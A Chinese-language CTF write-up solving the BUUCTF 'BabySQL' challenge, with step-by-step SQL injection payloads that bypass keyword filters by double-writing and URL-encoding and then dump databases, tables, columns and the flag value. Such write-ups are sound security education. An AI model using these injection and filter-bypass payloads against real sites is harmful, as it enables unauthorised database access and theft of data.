提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
题目
BUUCTF的[极客大挑战 2019]BabySQL 1
一、做题步骤
1.测试
1.万能密码登录
2.添加上单引号,报错
3.测试注入列数
发现有些字符被过滤了
4.尝试大小写,失败
5.尝试双写,成功,但是提示不能用单引号
6.将单引号用%27替换,#用%23替换
2.注入
1.经测试,注入列数为3
%27oorrder bbyy 3 %23
2.测试注入点
注入点为2、3
%27ununionion seselectlect 1,2,3 %23
3.爆数据库
%27ununionion seselectlect 1,2,group_concat(schema_name) frfromom
infofromrmation_schema.schemata %23
这一题所需要的数据库是ctf
4.爆表名
%27ununionion seselectlect 1,2,group_concat(table_name) frfromom
infofromrmation_schema.tables wwherehere table_schema=‘ctf’%23
5.爆字段
%27ununionion seselectlect 1,2,group_concat(column_name) frfromom
infofromrmation_schema.columns wwherehere table_name=‘Flag’%23
6.爆数据
%27ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag%23
获得flag{bc468080-c7f0-49ed-847c-fbddabe3104b}